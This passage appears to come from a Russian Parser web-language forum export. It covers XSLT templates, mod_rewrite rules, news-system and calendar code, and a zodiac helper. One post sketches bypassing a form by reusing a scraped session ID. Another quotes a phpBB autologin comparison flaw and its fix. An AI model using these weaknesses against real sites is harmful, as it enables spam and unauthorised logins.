приму patch с разумным решением (если у кого будут силы, имеет смысл заранее обсудить реализацию).\
\
подумайте о mod_mysql_auth."
"38183","если вы ещё не прониклись духом, то всё, включаемое в Parser, должно быть простым и понятным и делать минимумом усилий максимум задач.\
\
низкоуровневая возня с чем бы то ни было не в духе Parser.\
\
работа с архивами: есть готовые решения, сверхвысокая скорость тут не нужна, а значит вполне можно file::exec нужный скрипт и вывести результат в любом желаемом виде."
"38186","премного благ-н и бла-бла-бла.\
просто за хеши пока не брался (скорее всего зря), а тут надо было случайную картинку показать.\
пасибо"
"38189","забираем себе html страницу,\
находим в ней ваш ?SID=<код>\
и делаем POST произвольного сообщения, с указанием этого кода."
"38190","[code]\
#создаем простой счетчик рефереров\
$page_file[^md5[$uri].an]\
$analiz[^hashfile::open[/cache/$page_file]]\
$ref[$env:HTTP_REFERER] \
$count[$analiz.$ref] $count(^count.int(1)) ^count.inc(1)\
$analiz.$ref[$.value[$count]]\
#смотрим результаты\
^tmp.foreach[k;val]{ $k - $v <br>}\
[/code]\
такой код дает except in request exception handler\
\
Немного меняем\
^tmp.foreach[k;val]{ $k - ^v.length[] <br>}\
\
Результат после первого же обращения:\
http://страница... - 1.67798e+007 \
\
Вот я и не понимаю, откуда берется такая длинная строка...\
\
Parser 3.1.3 win noxml"
"38191","а как обычно делают? Как связать сгенерированные цифры на картинке и те, которые нужно ввести?"
"38193","1. $count(^count.int(1)) ^count.inc(1) -> $count(^count.int(0) + 1)\
2. except in request exception handler - вы просто не видите сообщение о произошедшей ошибке (наверняка hashfile открывается несколько раз на страницу). почему? ищите в форуме.\
3. Parser 3.1.3 - там hashfile нормально не работал. надо обновлять парсер.\
4. ^tmp.foreach - а что такое $tmp?"
"38194","Но как правильно зделать мне так некто и неподсказал.\
\
Михаил может быть скажите и отвяжитесь?\
Уже 4 раза мне сказали читать доку. ))\
Не проще ли сказать как правильно?:)"
"38196","а табличку Вы сохраняли на диск?"
"38197","А ^untaint[uri]{$team.1} не поможет?"
"38198","из cgi еще должны быть доступны REMOTE_USER и AUTH_TYPE.\
Генерить AuthUserFile проще простого."
"38199","1. $count(^count.int(1)) ^count.inc(1) -> $count(^count.int(0) + 1)\
- это одно и то же преобразование, хотя ваше красивее)\
2. except in request exception handler - вы просто не видите сообщение о произошедшей ошибке (наверняка hashfile открывается несколько раз на страницу). почему? ищите в форуме.\
- и что, это может приводит к появлению супердлинной строки?\
3. Parser 3.1.3 - там hashfile нормально не работал. надо обновлять парсер.\
- 3.1.4й и 3.1.3 под юниксом заработали нормально, но то ли после удаления символов \"/\" в ключе, то ли после удаления переводов строк и пробелов. Я еще посмотрю. Спать надо больше.\
4. ^tmp.foreach - а что такое $tmp?\
- извиняюсь, это был хеш, сделанный из хешфайла. Не влияет на ошибку."
"38200","Дело в том, что я отношу названия месяцев к уровню представления а не содержания. Поэтому возлагаю работы по формированию названий на xslt-шаблон. Например, я работаю над классом news. Я старюсь делать его как можно более универсальным, поэтому его методы возвращают результат в xml-формате. Для каждой новости дата представлена примерно в таком виде:\
<news-entry day=\"13\" month=\"3\" year=\"2005\">...</news-entry>\
И пусть шаблон уже сам определяет как эту дату представлять:\
 - так: \"13.03.2005\";\
 - или так: \"13 марта 2005 года\"; \
 - или же, если на украинском, то так: \"13 березня 2005\".\
\
Кроме того, я переписал метод \"Склонение имен существительных после числительных\" из \"примеров\" на язык таблиц стилей по той же самой причине.\
Вот несколько модифицированный пример (код на языке xsl получился немного громоздским)\
[code]\
<!-- пример вызова шаблона\
в result-stat/@total укзано число найденных документов \
на месте решетки # будет стоять число\
-->\
<xsl:template match=\"results\">\
	<xsl:call-template name=\"num-decline\">\
		<xsl:with-param name=\"num\" select=\"result-stat/@total\"/>\
		<xsl:with-param name=\"nominative\" select=\"'Всего найден #&nbsp;документ.'\"/>\
		<xsl:with-param name=\"genitive-singular\" select=\"'Всего найдено #&nbsp;документа.'\"/>\
		<xsl:with-param name=\"genitive-plural\" select=\"'Всего найдено #&nbsp;документов.'\"/>\
	</xsl:call-template>\
</xsl:template>\
\
<!-- а вот и сам шаблон -->\
<xsl:template name=\"num-decline\">\
<xsl:param name=\"num\"/>\
<xsl:param name=\"nominative\"/>\
<xsl:param name=\"genitive-singular\"/>\
<xsl:param name=\"genitive-plural\"/>\
<xsl:choose>\
	<xsl:when test=\"$num > 10 and floor(($num mod 100) div 10) = 1\">\
	  <xsl:value-of select=\"concat(substring-before($genitive-plural, '#'),$num,substring-after($genitive-plural, '#'))\"/>\
	</xsl:when>\
	<xsl:otherwise>\
		<xsl:choose>\
			<xsl:when test=\"$num mod 10 = 1\"><xsl:value-of select=\"concat(substring-before($nominative, '#'),$num,substring-after($nominative, '#'))\"/></xsl:when>\
			<xsl:when test=\"4 >= $num mod 10 and $num mod 10 >= 2\"><xsl:value-of select=\"concat(substring-before($genitive-singular, '#'),$num,substring-after($genitive-singular, '#'))\"/></xsl:when>\
			<xsl:otherwise><xsl:value-of select=\"concat(substring-before($genitive-plural, '#'),$num,substring-after($genitive-plural, '#'))\"/></xsl:otherwise>\
		</xsl:choose>\
	</xsl:otherwise>\
</xsl:choose>\
</xsl:template>\
[/code]\
\
Мне интересны следующие моменты:\
- можно ли в подобных ситуациях пожетрвовать производительностью ради универсальности кода? \
- существенно ли xslt-шабон будет отличаться по производительности от кода на самом парсере?\
- действительно ли на практике нужна такая универсальность?"
"38201","предлагаю администраторам форума заключать блоки кода (code)(/code) в отдельный независимый div, чтобы его ширина не влияла на ширину блоков с текстом."
"38202","если в параметре month_list будет строка типа:\
11ноября;12декабря;1января;2февраля;3марта;4апреля;5мая;6июня;7июля;8августа;9сентября;10октября;\
то вместо \"января\" и \"февраля\" будет \"ноябрь\" и \"декабрь\""
"38203","Первый раз за полгода использования Дэнвера и Парсера в браузере увидел это:\
[Wed Mar 16 00:08:08 2005] [error] [client 127.0.0.1] Unhandled exception 0xC0000005 at 0x02B9EC03\
Короче, либо Парсер упал либо Дэнвер.\
При рестарте Дэнвера вывелось сообщение о некоректном завершении работы сервера.\
Что это? И как этого избежать в будущем?"
"38204","Правильно так, если кому интересно.\
[code]$p[^untaint{http://www.marathonbet.com${team.1}}]\
$file[^file::load[text;$p]][/code]"
"38205","Будте добры! Выложите кто нибудь простой пример рабочего парсерного кода этой системы новостей. Так ее..\
Я уже не могу. Молчал до последнего. Всё понимаю. Прочитал уже почти половину документации. Вот уже совсем близко. Но чувствую что сильно запутался. Великие спецы. Помогите распутаться. Дайте рабочий код новостной системы (С редактированием и удалением и \"реверсом\" ну чтоб новости появлялись снизу вверх). Будет очень круто если в этот же архивчик вы положите еще и модуль поиска. И последний вопрос... Как загрузить картинку на сервер (Денвер хотяб)... Желательно через окошко выбота (Типа - кнопочка \"обзор\" жмешь, и выбираешь рисуночек..). Я двое суток подряд с парсером разбираюсь математические вещи все посхватывал как парсер \"на лету\" :) Но вот с этим редактированием. Тоесть предварительным удалением и загрузкой с темже ID.. Все понятно написано. Не могу в голове уложить просто. На код взгляну, пойму всё и расцелую всех на радостях! Просто изза этой мелочи, ну и вот с файлами еще (я про картинки на сервер) немогу дальше продвинутся... Обидно :(\
\
P.S. Если нет вариантов выложить. Пожалуйста сбросьте на мыло 1024kb@mail.ru Буду очень признателен! За ранее благодарен!"
"38206","Нет, дружок, такие посты тут не катят. Проверено. Если кусок кода приложишь, тогда помогут.."
"38207","Учту, попробую.\
Еще вопросик вдогонку можно?\
Как несколько файлов удалит помеченных чекбоксами. Пробовал как и несколько сообщений из базы, но такой подход не прошёл."
"38208","[code]\
@news[]\
Новости<br>\
^connect[$connect_string]{\
$out[^table::sql{SELECT id, date, header, body FROM news ORDER BY id DESC LIMIT 8}]\
<table border=\"0\" cellspacing=\"0\" cellpadding=\"5\" valign=\"top\" align=\"left\">\
^out.menu{\
<tr>\
	<td class=\"x1\"><nobr>02.18.05</nobr> <a href=\"/news/read.html?id=$out.id\" class=\"link_n\">$out.header</a></td>\
</tr>\
}\
</table>\
}\
[/code]\
Очень простой пример вывода\
\
Чтобы загрузить файл - \
<input type=\"file\" name=\"ph\">\
<input type=\"submit\" name=\"givemsg\" value=\"&#206;&#242;&#239;&#240;&#224;&#226;&#232;&#242;&#252;\" class=sub>\
^if(def $form:givemsg){\
^mail:send[ \
      $.from[$var] \
      $.to[$var] \
      $.subject[smth] \
      $.text[$form:name, $form:info, &#209;&#238;&#238;&#225;&#249;&#229;&#237;&#232;&#229;: $form:msg]\
      ^if(def $form:ph){$.file[$form:ph]}\
      ]\
}\
"
"38209","Теперь догадались, какой taint нужно использовать?"
"38210","[b]База данных MySQL[/b]\
  `id` int(11) NOT NULL auto_increment,\
  `date` date default NULL,\
  `title` varchar(255) default NULL,\
  `news` text,\
  PRIMARY KEY  (`id`)\
[i]Тип: MyISAM[/i]\
\
\
[b]auto.p[/b] \
[code]\
@auto[]\
$SQL.connect-string[mysql://user:password@server/dbname]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
\
@USE\
/classes/lib.p\
/classes/mysql.p\
/classes/scroller.p\
\
@response[]\
$response:Last-Modified[^date::now(-1)]\
\
@header[]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\
\"http://www.w3.org/TR/html4/loose.dtd\">\
<html>\
<head>\
<title>Новости</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\
<meta name=\"keywords\" content=\"\">\
<meta name=\"description\" content=\"\">\
</head>\
\
@body[]\
<body leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\
^base[]\
</body>\
\
@footer[]\
</html>\
\
@main[]\
^MAIN:pSQL.server{\
^response[]\
^header[]\
^body[]\
^footer[]\
}\
[/code]\
\
\
[b]index.html[/b]\
[code]\
@base[]\
$news[^MAIN:pSQL.sql[table]{\
	select id, date, title, news\
	from news\
	order by id desc\
}]\
   ^if($news){\
      ^news.menu{\
$str[$news.date]\
$date[\
 $.day[\
	$.01[1]\
	$.02[2]\
	$.03[3]\
	$.04[4]\
	$.05[5]\
	$.06[6]\
	$.07[7]\
	$.08[8]\
	$.09[9]\
	$.10[10]\
	$.11[11]\
	$.12[12]\
	$.13[13]\
	$.14[14]\
	$.15[15]\
	$.16[16]\
	$.17[17]\
	$.18[18]\
	$.19[19]\
	$.20[20]\
	$.21[21]\
	$.22[22]\
	$.23[23]\
	$.24[24]\
	$.25[25]\
	$.26[26]\
	$.27[27]\
	$.28[28]\
	$.29[29]\
	$.30[30]\
	$.31[31]\
 ]\
 $.month[\
	$.01[января]\
	$.02[февраля]\
	$.03[марта]\
	$.04[апреля]\
	$.05[мая]\
	$.06[июня]\
	$.07[июля]\
	$.08[августа]\
	$.09[сентября]\
	$.10[октября]\
	$.11[ноября]\
	$.12[декабря]\
 ]\
]\
<h3>$news.title</h3>\
<p>^untaint{$news.news}</p>\
<div align=\"right\">^str.match[(\\d+)\\-(\\d+)\\-(\\d+)][g]{$date.day.[$match.3] $date.month.[$match.2] $match.1 г.}</div>\
\
      }[<br><br>]\
   }{\
<h2>Новостей нет!</h2>\
}\
[/code]\
\
Необходимые классы:\
lib - http://www.parser.ru/examples/lib/\
mysql - http://www.parser.ru/examples/comp/\
scroller - http://www.parser.ru/examples/mscroller/"
"38212","иначе был-бы taint с явным указанием языка, а не untaint."
"38213","может все-таки задать список месяцов в xml по людски (типа константа):\
[code]\
<month-list>\
<month number=\"1\">Январь</month>\
<month number=\"2\">Февраль</month>\
...\
</month-list>\
[/code]\
\
и потом что-нить типа: \
<xsl:value-of select=\"/month-list/month[@number=...]\" />\
\
не?"
"38214","http://www.parser.ru/forum/?id=38210"
"38215","Вот здесь: http://aktar.sibarit.ru\
Некоторое время API будет недокументирован и слишком много функций внутри MAIN, остальное всё работает. Глянте, может чего кому-то не хватает."
"38216","Я понимаю (из логов) что где-то задана настройка $LIMITS.post_max_size(10485760). Вопрос: где?"
"38219","Обычно все ставят PHPBB, поэтому он стоит во второй-третьей очереди:)"
"38220","подумалось, что и так можно.\
\
для повторных обращений document() вполне можно в переменную положить."
"38221","используете последнюю версию?"
"38223","зачем делать что-то, если уже есть что-то намного лучшее?"
"38225","Я хочу чтобы в строке браузера я видел http://site.ru/news/1.html или хотя бы http://site.ru/news/1/, а на самом деле это http://site.ru/news.html?1. Я пробовал в корне сайта(http://site.ru/) в .htaccess прописывал :\
\
[code]RewriteEngine on\
RewriteBase /\
RewriteRule ^.htaccess$ - [F]\
RewriteRule ^(.*)news/(.*).htm$ $1news.html?$2[/code]\
\
или так:\
\
[code]\
RewriteEngine on\
RewriteBase / \
RewriteRule ^news/([0-9]+)(/?)+$ /news.html?$1[/code]\
\
Ни один из эти х примеров не срабатывает потому что при запросе он мне пишет, что нет site.ru/news.html/1.html :( Подскажите где ошибка."
"38227","не оставила равнодушным одна из последних найденных там уязвимостей:\
\
[i]Логическая уязвимость обнаружена в сценарии includes/sessions.php в следующей строке:[/i] \
[code]if( $sessiondata['autologinid'] == $auto_login_key )[/code]\
[i]Условие выполняется, если [b]длина[/b] $sessiondata['autologinid'], представленная в куки пользователя, [b]равна длине[/b] переменной $auto_login_key. Для исправления уязвимости ее необходимо (сюрприз!) заменить на строку:[/i]\
[code]if( $sessiondata['autologinid'] === $auto_login_key )[/code]\
P.S. и после этого кто-то там ещё имеет наглости каждую весну косяками заваливаться на наш форум и пытаться тут всем доказывать, какая любительская технология этот наш Парсер, и какой у него ужасный и нечитаемый синтаксис..."
"38228","Потому что в этом секторе есть что делать. Администрирование сайт на Aktar занимает на 20-50% меньше времени, чем на Bitrix.\
 Есть и другие преимущества."
"38229","Цвет подобран не абы как, а на основании работ по психологии. При длительном смотрении на него глаз меньше устает, чем от другого, не-болотного цвета."
"38230","Ни в css bgcolor у  body не определён, ни непосредственно в тэге не указан.\
У меня вот цвет фона окна тёмный и я его вижу, а не Ваш \"болотный\"..."
"38231","Как-то потребовался метод для определения знака зодиака по дню и месяцу рождения.\
\
Вот что вышло:\
\
[code]\
############\
#	Метод @zodiac[date;land]\
#		По месяцу и дню рождения определяет знак зодиака.\
#		date - дата рождения в формате mm-dd\
#		lang - язык названия знака (en - английский, по умочанию - русский) если указать id, то вернет порядковый номер знака (1-12)\
#		в методе при создании дат год (2000) выбран произвольно\
############\
@zodiac[date;lang][periods;birth_date;bdate;edate]\
\
# Таблица соответствия периодов названиям знаков зодиака\
$periods[^table::create{id	begin	end	ru_name	en_name\
1	03-21	04-20	Овен	Aries\
2	04-21	05-20	Телец	Taurus\
3	05-21	06-21	Близнецы	Gemini\
4	06-22	07-22	Рак	Cancer\
5	07-23	08-23	Лев	Leo\
6	08-24	09-23	Дева	Virgo\
7	09-24	10-23	Весы	Libra\
8	10-24	11-22	Скорпион	Scorpio\
9	11-23	12-21	Стрелец	Sagittarius\
10	12-22	01-20	Козерог	Carpicorn\
11	01-21	02-20	Водолей	Aquarius\
12	02-21	03-20	Рыбы	Pisces}]\
\
^try{\
	$birth_date[^date::create[2000-$date]]\
}{\
	^throw[parser.runtime;zodiac;'$date' is invalid date. Date format is %mm-%dd]\
}	\
\
^periods.menu{\
	$bdate[^date::create[2000-$periods.begin]]\
\
# Т.к. у козерога начало периода в одном году, а окончание в другом, то при создании даты для него делаем не 2000 год, а 2001	\
	$edate[^date::create[^if($periods.id==10){2001}{2000}-$periods.end]]\
\
	^if($birth_date >= $bdate && $birth_date <= $edate){\
		^switch[$lang]{\
			^case[id]{$result[$periods.id]}\
			^case[en]{$result[$periods.en_name]}\
			^case[DEFAULT]{$result[$periods.ru_name]}\
		}\
	}\
}\
[/code]\
\
Если эта реализация никуда не годится - кидайте в меня свои ругательства :)"
"38232","а, так это на сайте, а не в системе.. т.е. в пользовательском шаблоне. Нехорошо."
"38233","нашли бы, как минимум две мои реализации:)"
"38234","На написание метода ушло времени не сильно больше, чем на поиск по форуму :)\
\
Поискал, нашел. Методы похожи почти как близнецы :)"
"38235","Интересует сравнение производительности Русского и English языков..."
"38236","http://vvv.h20.ru/forum/viewtopic.php?t=713&view=next&sid=cc8921bfd5810ec698c937a3370b1058"
"38237","/news/12.html --> /news.html?id=12\
[code]RewriteRule	^news/([0-9]+)\\.html$	news.html?id=$1 [QSA][/code]\
\
/news/12/ --> /news.html?id=12\
[code]RewriteRule	^news/([0-9]+)/$	news.html?id=$1 [QSA][/code]\
\
[b]Домашнее задание[/b]\
(чтобы хоть как-то компенсировать [i]вред[/i] моего прямоответа):\
\
[i]Теория[/i]\
1. Что делает флаг QSA?\
2. Всегда ли нужно прописывать RewriteBase?\
\
[i]Практика[/i]\
1. Сравните мои варианты и ваши. Проанализируйте их, используя документацию по mod_rewrite.\
2. Подумайте, как обработать отсутствие закрывающего слеша в последнем варианте и привести к виду со слешом.\
3. Приведите /news/category_name/31122005.html к /news.html?cat=category_name&y=2005&m=12&d=31. Где category_name может принимать значения длиной не более 7 символов, включая цифры и латиницу разных регистров. Причем, первый символ в названии категории - буква.\
\
P. S. Имхо, лучше использовать конкретное имя параметра GET, вместо nameless. Удобочитаемость кода возрастает, так как уже частично будет понятно, что за информация придет - id в моем случае."
"38238","я его в прошлый раз уже продвигал :), тут чуть подробнее:\
[code]\
# прототип метода, показывает сам принцип\
# рекомендуется добавить туда всяких проверок по вкусу\
# в зависимости от жесткости входных данных...\
@zodiac[day;month;lang][z_hash]\
$z_hash[\
$.1[  $.sep(20) $.ru[Козерог]  $.en[Capricorn]   ]\
$.2[  $.sep(20) $.ru[Водолей]  $.en[Aquarius]    ]\
$.3[  $.sep(20) $.ru[Рыбы]     $.en[Pisces]      ]\
$.4[  $.sep(20) $.ru[Овен]     $.en[Aries]       ]\
$.5[  $.sep(20) $.ru[Телец]    $.en[Taurus]      ]\
$.6[  $.sep(21) $.ru[Близнецы] $.en[Gemini]      ]\
$.7[  $.sep(22) $.ru[Рак]      $.en[Cancer]      ]\
$.8[  $.sep(23) $.ru[Лев]      $.en[Leo]         ]\
$.9[  $.sep(23) $.ru[Дева]     $.en[Virgo]       ]\
$.10[ $.sep(23) $.ru[Весы]     $.en[Libra]       ]\
$.11[ $.sep(22) $.ru[Скорпион] $.en[Scorpio]     ]\
$.12[ $.sep(21) $.ru[Стрелец]  $.en[Sagittarius] ]\
$.13[           $.ru[Козерог]  $.en[Capricorn]   ]\
]\
# ет чтобы параметры в круглых скобках не надо было передавать :)\
$day($day)\
$month($month)\
\
^if($day > $z_hash.$month.sep){^month.inc[]}\
$result[$z_hash.$month.$lang]\
[/code]"
"38239","Мне именно надо /news.html?id=12 ->> /news/12.html\
\
Извини за наглость и тупость :)"
"38240","Сабж. Его написал Сергей Яценко (http://nbsp.ru), мало чем отличается от этого форума :)"
"38241","Я тоже форум на парсере почти сделал, надо еще с регистрацией и доп. функциями посидеть. Но он по виду и структуре на phpBB похож \
;-)"
"38242","Пытаюсь напиисать RewriteRule в .htaccess, но почему-то апач никак не реагирует. Работаю на Денвере. Писал следующую вещь:\
RewriteRule ^msgboard/([0-9]+)\\.html$ /msgboard/msg.html?id=$1"
"38243","^/msg/([0-9]+)\\.html$ /msg.html?id=$1 - не работает, ошибку не выдает"
"38244","пробуйте и читайте. [b]потом[/b] спрашивайте."
"38246","info(at)sibarit.ru\
классно, на момент выхода будет уже со сторонним модулем!"
"38247","ибо я тоже писал свой форум, но одному тяжеловато все тянуть..."
"38248","Всегда приятнее сделать что-то самому.\
А насчет \"почти как близнецы\" - я с этим уже стакивался.\
\"Довольно часто совершенно разным людям приходят мысли-близнецы в их совершенно разные головы.\" \
(с) Непомнюкто"
"38249","http://grumble.sorochinsk.ru/files/forum2_src.rar"
"38250","Есть шифр.\
1 2 3 4 5 6 4 7 1 8 9 10 2 1 11 10 12 4 2 3 13 6 14 7 15 12 16 13 15 7 10 7 17 11 4 14 2 17 18 2 \
7 17 11 4 15 19 3 4 2 4 7 9 20 2 9 11 21 7 18 2 22 23 2 9 10 11 13 \
Каждая цифра = буква\
Пробелы убраны\
Помогите разгадать фразу - всю голову сломал!"
"38252","Особенно за функцию document() -- это для меня настоящее открытие! По сути, можно часть информации из БД перенести в xml и доставать ее при помощи xsl (главное не увлекаться:-)"
"38253","После того, как открыл для себя в xslt функцию document() и захотелось еще одну: random(). А реализовать я хотел бы вот такую задумку:\
допустим у меня есть xml со списком внутрисайтовых баннеров (кажется их называют \"ушами\"). Ну, например, такой:\
[code]\
<banner-list>\
  <banner>\
    <text>...</text>\
    <image url=\"...\"/>\
    <link url=\"...\"/>\
  </banner>\
  <banner>...</banner>\
  ...\
</banner-list>\
[/code]\
И нужно, чтоб на странице показывался один баннер, случайно выбранный из списка. Тогда шаблон можно было бы написать вот таким:\
[code]\
<xsl:variable name=\"b-list\" select=\"document(banner_list.xml)\"/>\
\
<xsl:template match=\"/\">\
<xsl:call-template name=\"banner\">\
  <xsl:with-param name=\"b-node\"\
select=\"$b-list/banner-list/banner[position()-1 = random(count(../banner))]\"/>\
</xsl:call-template>\
\
<xsl:tempalte name=\"banner\">\
<xsl:param name=\"b-node\"/>\
<div>\
  <img src=\"{$b-node/image/@url}\"/><br/>\
  <a href=\"{$b-node/link/@url}\">\
    <xsl:value-of select=\"$b-node/text\"/>\
  </a>\
</div>\
</xsl:template>\
[/code]\
\
Может быть знающие люди подскажут, как можно реализовать это? Есть ли какой-нибудь обходной путь? И стоит ли?"
"38256","тогда это элементарно - вычисляете самую популярную цифру - скорее всего это буква 'О'... дальше сами догадаетесь? сначала гласные и т.д..."
"38257","Выдает ошибку: method of table (table) accepts maximum 2 parameter(s)\
\
Видимо всё из-за знака \";\""
"38262","Знаю.\
Пытался. А ты подставь. Много даст?\
Даже могу рейтинг среднестатистический по буквам кинуть - это не даст ничего.\
Какие ещё варианты?"
"38263","парсер частично поддерживает exslt, на счет math:random не уверен - попробуй, а результатами поделишься :)"
"38266","Вместо него я вижу какой-то беспорядочный и угнетающий набор контролов. В общем, типичная система, сделанная программистом хрен знает для кого."
"38268","Вот такой код:\
[code]\
<xsl:stylesheet version=\"1.1\"\
          xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\
          xmlns:math=\"http://exslt.org/math\"\
          xmlns:func=\"http://exslt.org/functions\"\
          extension-element-prefixes=\"math func\">\
\
<xsl:template match=\"/\">\
<result>\
	<rnd><xsl:value-of select=\"math:random()\"/></rnd>\
	<sin><xsl:value-of select=\"math:sin(263)\"/></sin>\
</result>\
</xsl:template>\
\
</xsl:stylesheet>\
[/code]\
\
Там в документации написано, что нужно еще прописывать элемент верхнего уровня:\
[code]\
<func:script implements-prefix=\"math\" \
      language=\"exslt:javascript\" \
      src=\"math.min.js\" />\
[/code]\
я прописывал, но процессор их не учитывает. (можно даже изменить или вовсе удалить файл_со_скриптом.js -- ему все равно)\
Sin(x) работает, а вот random() возвращает какую-то константу (у меня: 0.001251258888516) (тестировал на win & на freeBSD; парсер стоит поледней модели)"
"38269","Что Вы понимаете под интерфейсом? Пользовательский интерфейс?\
Система делалась для редакторов сайтов, и показывает достаточно высокие результаты в скорости и удобстве постоянной работы. \
Конечно, на первичное освоение требуется время, Aktar не похож на другие CMS своей логикой работы - но это сделано не просто так, а для ускорения выполнения задач администрирования. \
\
Если будут какие-либо _конкретные_ замечания, я их с удовольствием выслушаю."
"38273","…захожу, дай, думаю, погляжу что за зверь такой диковенный. Жму регистрироваться, ввожу данные… А на меня еще и ругается: говорит, е-почту обязательно надо ввести! Ну так я ему и ввожу ее: wonder(at)nightmail.ru (вместо at - @) — не тут-то было, она ему не нравиться, говорит, давай мне е-почту…\
\
А теперь внимание, вечный вопрос: [b]что делать?[/b]\
\
[i]Postscriptum\
Да простят меня те, кого достали этим вопросом.[/i]"
"38274","Я только начал изучать parser, так что не сочтите за глупость…\
\
Дан код (из мануала)…\
\
@calendar[]\
$calendar_locale[\
   $.month_names[\
         $.1[Январь]\
         $.2[Февраль]\
         $.3[Март]\
         $.4[Апрель]\
         $.5[Май]\
         $.6[Июнь]\
         $.7[Июль]\
         $.8[Август]\
         $.9[Сентябрь]\
         $.10[Октябрь]\
         $.11[Ноябрь]\
         $.12[Декабрь]\
   ]\
   $.day_names[\
         $.0[пн]\
         $.1[вт]\
         $.2[ср]\
         $.3[чт]\
         $.4[пт]\
         $.5[сб]\
         $.6[вс]\
   ]\
   $.day_colors[\
         $.0[#000000]\
         $.1[#000000]\
         $.2[#000000]\
         $.3[#000000]\
         $.4[#000000]\
         $.5[#800000]\
         $.6[#800000]\
   ]\
]\
$now[^date::now[]]\
$days[^date:calendar[rus]($now.year;$now.month)]\
<center>\
<table bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr>\
      <td bgcolor=\"#FFFFFF\" colspan=\"7\" align=\"middle\">\
         <b>$calendar_locale.month_names.[$now.month] - $date_now[^date::now[]]$date_now.year</b>\
      </td>\
   </tr>\
   <tr>\
      ^for[week_day](0;6){\
         <td width=\"14%\" align=\"middle\" bgcolor=\"#A2D0F2\">\
            <font color=\"$calendar_locale.day_colors.$week_day\">\
               $calendar_locale.day_names.$week_day\
            </font>\
         </td>\
      }\
   </tr>\
^days.menu{\
   <tr>\
      ^for[week_day](0;6){\
         ^if($days.$week_day){\
            ^if($days.$week_day==$now.day){\
            <td align=\"middle\" bgcolor=\"#CC0000\">\
               <font color=\"$calendar_locale.day_colors.$week_day\">\
              <a href=\"/news/?day=$days.$week_day\">$days.$week_day</a>\
               </font>\
            </td>\
            }{\
            <td align=\"middle\" bgcolor=\"#FFFFFF\">\
               <font color=\"$calendar_locale.day_colors.$week_day\">\
\
<a href=\"/news/?day=$days.$week_day\">$days.$week_day</a>\
\
			   </font>\
            </td>\
            }\
         }{\
            <td bgcolor=\"#DFDFDF\">&nbsp</td>\
         }\
      }\
   </tr>\
}\
</table>\
</center>\
\
…как сделать чтобы ссылка ставилась только на те дни, на которые имеются новости. Т.е. например у меня 13 числа размещено две новости => ссылку в календаре на этот день ставим. А если новостей в этот день нет => ссылку не ставим. \
\
И ещё, как сделать чтобы пользователь мог смотреть календарь не только на этот месяц, но и на предыдущие месяцы (и года)? Т.е. сделать ссылки типа «предудыщий месяц» и «следующий месяц»."
"38275","Ваш адрес будет автоматически защищен от спам-роботов. Или можно ввести несуществующий, но тогда придется придумывать пароль.\
А в чем вообще проблема?"
"38277","А пробел между словами - тоже какая-то из цифр?"
"38278","какой-нибудь хитрый плагин к браузеру? или, типа в Опере - скопировать в Примечание/вставить Примечание?"
"38279","Все, свершилось...\
Админ хоста поправил там что-то, дописал и все заработало.\
Смешно, но заняло у него это, всего 10 минут..."
"38280","Помогите поботроть проблемку.\
Нужно выгрести из базы данные и провести с ними математические операции.\
После чего. положить обратно или просто использовать результат в классе table.\
Несложные действия я делаю по пути, в запросе select к базе.\
Но при более сложных преобразоваиях Parser ругается."
"38281","на слово «пожалуйста» предлагает…"
"38282","читайте сами ругань парсера, если не хотите вдаваться в подробности и показывать куски кода..."
"38283","Просто направить мысль в нужном направлении.\
Разве мало информации?\
Есть например таблица в базе с колонками \"id\" и \"data\"\
Нужно вытащить значения \"data\" - допустим перемножить на переменную и сохранить опять в таблице под теми-же \"id\""
"38284","вот этим Вы ответили на своже вопрос.\
здесь форум по ПАРСЕРу, пособие по SQL-запросам ищите в хелпах к вашей БД.\
1) не указана БД(MySQL/MSSQL/Postgre/Oracle)\
2) нет даже примерного кода - как Вы делаете \"умножение\"\
3) алгоритм вы указали в своем же посте, если Вы не можете его написать - то причем тут форум по ПАРСЕРу?"
"38285","libxslt начиная с версии 1.0.19 нативно math:random() поддерживает т.ч. никаких js не требуется, пробуй дальше, или как уже PAF сказал выше, пользуй парсеровский random"
"38286","C умножением как раз прблем нет, вот как вытащить из базы данные\
поделенные на коэфицент, да еще и целым числом, без дробной части?\
У меня MySQL.\
Может выгрести данные, пробежаться по таблице циклом и опять работать.\
Но я недавно познакомился с Parser-ом, плаваю по многим вопросам.\
А код создания таблицы обычный, из учебника:\
^connect[$connect_string]{\
$tab[^table::sql{\
	select\
	id, data/2\
	from table\
	}]}\
\
Просто значения в таблице:\
id	data\
4287	1691.50\
4285	1690.50\
4283	1692.00\
4281	1692.00\
\
А мне нужно, чтоб в колонке data были целые числа 1691 1690 1692 и т.д."
"38289","Пробовал раз 10 в разных комбинациях!!!\
не выходило.\
сейчас попробовал еще раз в виде - select ROUND(data/2) from table\
и проехало. От шайтан.\
Спасибо всем, когда закончу проэкт, выложу на всеобщее\
обругание. :)"
"38291","Там без пробелов.\
То есть скажем \"влесуродиласьёлочка\". Там таким же мокаром. На русском языке.\
Уже всю голову сломал =(("
"38293","работает:\
[code]\
  ^table::load[nameless;file.name;$.separator[=]]\
[/code]\
не работает:\
[code]\
  ^table::load[\
    nameless;\
    file.name;\
    $.separator[=]\
  ]\
[/code]"
"38295","В приведенном примере — между цифрами стоят пробелы. Если их расставить по другому, то результат будет совсем иным."
"38296","Ну то, ни другое не должно работать, если у вас нету файла с именем: [b]file.name[/b]"
"38298","... том, что:\
[code]\
$myTab[^table::load[nameless;file.name;\
    $.separator[=]\
]]\
[/code]\
Тоеззь nameless это должно быть nameless, а не crlf+tab+nameless и имя файла тоже. А хеш он и с табами хеш...\
\
ИМХО, не проверял."
"38300","Есть такая задача: нужно к уже сужествующему xml объекту добавить ветку-таблицу:\
[code]\
<table>\
  <row><col>...</col>...</row>\
  ...\
</table>\
[/code]\
которая является представлением содержимого из переменной класса table.\
Как мне лучше сделать:\
а) создать еще один объект xdoc [code]\
$table_xml^xdoc::create{<table>^my_table.menu{<row><col>...</col></row>}</table>}\
[/code] и импортировать (importNode[$table_xml.documentElement]) в существующий xml\
б) забить все ноды с помощью DOM ?\
\
Интересно узнать, какой способ лучше?"
